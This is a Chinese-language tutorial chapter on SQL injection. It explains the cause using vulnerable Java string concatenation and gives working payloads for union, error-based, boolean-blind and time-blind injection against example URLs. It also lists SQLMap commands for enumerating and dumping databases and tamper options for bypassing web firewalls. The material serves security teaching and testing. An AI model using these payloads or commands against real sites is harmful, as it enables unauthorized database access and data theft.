4. SQL注入原理与实战:从成因到自动化利用
SQL注入,说白了就是攻击者把SQL代码塞进了你的输入框里。你本来想让他输入一个用户名,结果他输入了一段SQL语句——而你的程序没拦住,直接把它拼到了数据库查询里。嗯,这就是SQL注入的根儿。
我最早接触SQL注入是在一次渗透测试里。客户说他们的系统“绝对安全”,结果我花了两分钟,在登录框里敲了个单引号,页面直接报错,数据库名都露出来了。从那以后我就明白了一个道理:永远不要相信用户的输入。
核心一句话:SQL注入的本质是“数据与代码未分离”。用户输入的数据被当成了可执行的SQL代码。
4.1 SQL注入的成因
成因其实很简单,就三个条件:
- 用户输入可控——比如URL参数、表单字段、Cookie等。
- 输入被拼接到SQL语句中——没有做参数化查询或过滤。
- 拼接后的SQL被数据库执行了——攻击者就能控制查询逻辑。
举个例子,一个典型的漏洞代码长这样:
String query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);
如果用户输入 admin' OR '1'='1,拼接后的SQL就变成了:
SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = ''
你看,OR '1'='1' 永远为真,整个查询就绕过了密码验证。我在项目中遇到过好几次,开发人员觉得“用户不会这么输入”,结果就被打了脸。
避坑指南:我曾经见过一个团队,他们用黑名单过滤了“select”、“union”这些关键词,结果攻击者用 UNION(大小写混合)就绕过去了。黑名单永远防不住,别用。
4.2 联合查询注入
联合查询注入,就是利用 UNION 关键字把两个查询的结果合并在一起。攻击者可以控制第二个查询,把数据库里的敏感数据“拉”到页面上来。
基本套路分三步:
- 判断列数——用
ORDER BY或UNION SELECT试出原查询有几列。 - 找到显示位——看页面上哪个位置能显示查询结果。
- 提取数据——在显示位放上
database()、user()、表名、字段名、数据。
举个例子,假设URL是:
http://example.com/product?id=1
先试列数:
http://example.com/product?id=1 ORDER BY 3 --+
如果返回正常,说明有3列。再试显示位:
http://example.com/product?id=-1 UNION SELECT 1,2,3 --+
页面上如果显示了2和3,那就把2和3换成你要的数据:
http://example.com/product?id=-1 UNION SELECT 1,database(),version() --+
我个人习惯用 id=-1 让原查询返回空,这样联合查询的结果就能直接显示出来。你想想看,如果原查询有结果,联合查询的结果会追加在后面,有时候不容易看到。
小技巧:MySQL里用 --+ 或 # 注释掉后面的SQL。在SQL Server里用 --。Oracle里用 -- 或 /*。不同数据库的注释符不一样,踩过坑你就记住了。
4.3 报错注入
报错注入适用于页面不直接显示数据,但会显示数据库错误信息的情况。说白了,就是利用数据库函数在报错时把数据“带”出来。
常用的报错函数有:
| 数据库 | 常用函数 | 示例 |
|---|---|---|
| MySQL | extractvalue()、updatexml() |
AND extractvalue(1, concat(0x7e, (SELECT database()))) |
| SQL Server | convert()、cast() |
AND 1=convert(int, (SELECT @@version)) |
| Oracle | ctxsys.drithsx.sn()、XMLType() |
AND 1=ctxsys.drithsx.sn(1, (SELECT banner FROM v$version)) |
我记得有一次做测试,页面只返回“查询成功”或“查询失败”,没有数据显示。联合查询用不了,但报错信息却完整地显示在页面上。我用了 extractvalue(),直接把数据库名、表名全报出来了。嗯,这就是报错注入的妙处。
注意:报错注入依赖数据库的错误信息。如果生产环境关闭了错误显示,这招就不好使了。我建议你在测试时先确认一下错误信息是否可见。
4.4 布尔盲注
布尔盲注,就是页面不显示数据,也不报错,只返回“真”或“假”两种状态。比如登录成功/失败、页面存在/不存在。攻击者就靠这个“是/否”来猜数据。
基本思路:
- 判断注入点——比如
id=1 AND 1=1返回正常,id=1 AND 1=2返回异常,说明存在注入。 - 猜数据库名长度——
AND LENGTH(database())>N,逐步缩小范围。 - 猜每个字符——
AND SUBSTR(database(),N,1)='a',用二分法或逐字符爆破。
举个例子,猜数据库名的第一个字符:
http://example.com/product?id=1 AND SUBSTR(database(),1,1)='a' --+
如果页面正常,说明第一个字符是'a';如果异常,就试'b'、'c'……直到猜对。这个过程很慢,但确实有效。
你想想看,如果数据库名有10个字符,每个字符要试几十次,手工做的话能把你累死。所以布尔盲注一般配合工具或脚本。我建议你至少写个Python脚本,或者直接用SQLMap。
效率技巧:用二分法代替逐字符爆破。ASCII码范围是0-127,先猜中间值64,大了就猜96,小了就猜32……这样每个字符最多7次就能确定,比从'a'试到'z'快得多。
4.5 时间盲注
时间盲注,就是页面既不显示数据,也不报错,连“真/假”状态都没有。唯一能用的就是——让数据库“睡一会儿”。
核心函数:
- MySQL:
SLEEP(N)——让查询延迟N秒。 - SQL Server:
WAITFOR DELAY '0:0:N'——延迟N秒。 - PostgreSQL:
PG_SLEEP(N)——延迟N秒。
基本用法:
http://example.com/product?id=1 AND IF(SUBSTR(database(),1,1)='a', SLEEP(3), 0) --+
如果页面3秒后才加载,说明第一个字符是'a';如果瞬间加载,说明不是。嗯,就是这么暴力。
我曾经在一个内网测试里遇到过这种情况:所有错误信息都被屏蔽了,页面永远返回200,内容也一模一样。唯一能用的就是时间盲注。我写了个脚本,跑了整整一个晚上,才把数据库里的数据全部拖出来。说实话,时间盲注是最慢的,但也是最“万能”的——只要网络稳定,它总能工作。
避坑指南:时间盲注对网络延迟很敏感。如果网络本身就有波动,延迟3秒和延迟5秒可能分不清。我建议你设置延迟时间在5秒以上,并且多次验证。另外,别在生产环境上跑时间盲注,会让数据库响应变慢,影响正常用户。
4.6 SQLMap自动化利用
SQLMap是目前最成熟的SQL注入自动化工具。说实话,手工注入能做的,它基本都能做;手工注入做不了的,它也能做。我建议你把它当成“重型武器”,但别依赖它——手工思路还是要懂。
基本用法:
# 检测注入点
sqlmap -u "http://example.com/product?id=1"
# 获取数据库列表
sqlmap -u "http://example.com/product?id=1" --dbs
# 获取指定数据库的表
sqlmap -u "http://example.com/product?id=1" -D dbname --tables
# 获取指定表的字段
sqlmap -u "http://example.com/product?id=1" -D dbname -T tablename --columns
# 获取数据
sqlmap -u "http://example.com/product?id=1" -D dbname -T tablename -C col1,col2 --dump
常用参数:
| 参数 | 作用 | 示例 |
|---|---|---|
--level |
检测深度(1-5),越高越全面 | --level=3 |
--risk |
风险等级(1-3),越高越激进 | --risk=2 |
--batch |
自动选择默认选项,不用手动确认 | --batch |
--threads |
并发线程数,加速盲注 | --threads=10 |
--cookie |
设置Cookie,用于需要登录的场景 | --cookie="PHPSESSID=abc123" |
--data |
POST请求的数据 | --data="username=admin&password=123" |
我个人习惯先用 --level=3 --risk=2 做一次全面检测,确认注入点类型后,再针对性地用 --technique 指定注入技术(B:布尔盲注,E:报错注入,U:联合查询,T:时间盲注,S:堆叠查询)。
实战技巧:如果目标网站有WAF(Web应用防火墙),可以试试 --tamper 参数加载绕过脚本。比如 --tamper=space2comment 把空格换成注释,--tamper=between 用 BETWEEN 代替 > 和 <。SQLMap自带了上百个tamper脚本,够你用的。
4.7 知识体系总览
下面这张图把SQL注入的几种类型和它们之间的关系梳理了一下。你可以把它当成一个“决策树”——遇到不同的场景,选不同的技术。
从图上你能看到,SQL注入的几种技术是递进的关系。联合查询最快,但要求页面有显示位;报错注入次之,但依赖错误信息;布尔盲注和时间盲注最慢,但适用范围最广。SQLMap把这些技术都整合在了一起,你只需要指定目标,它自动帮你选最优方案。
嗯,这一章的内容就到这里。SQL注入的原理和实战技术,说白了就是“数据与代码分离”这个核心问题。你理解了这一点,后面学什么注入技术都只是换了个姿势而已。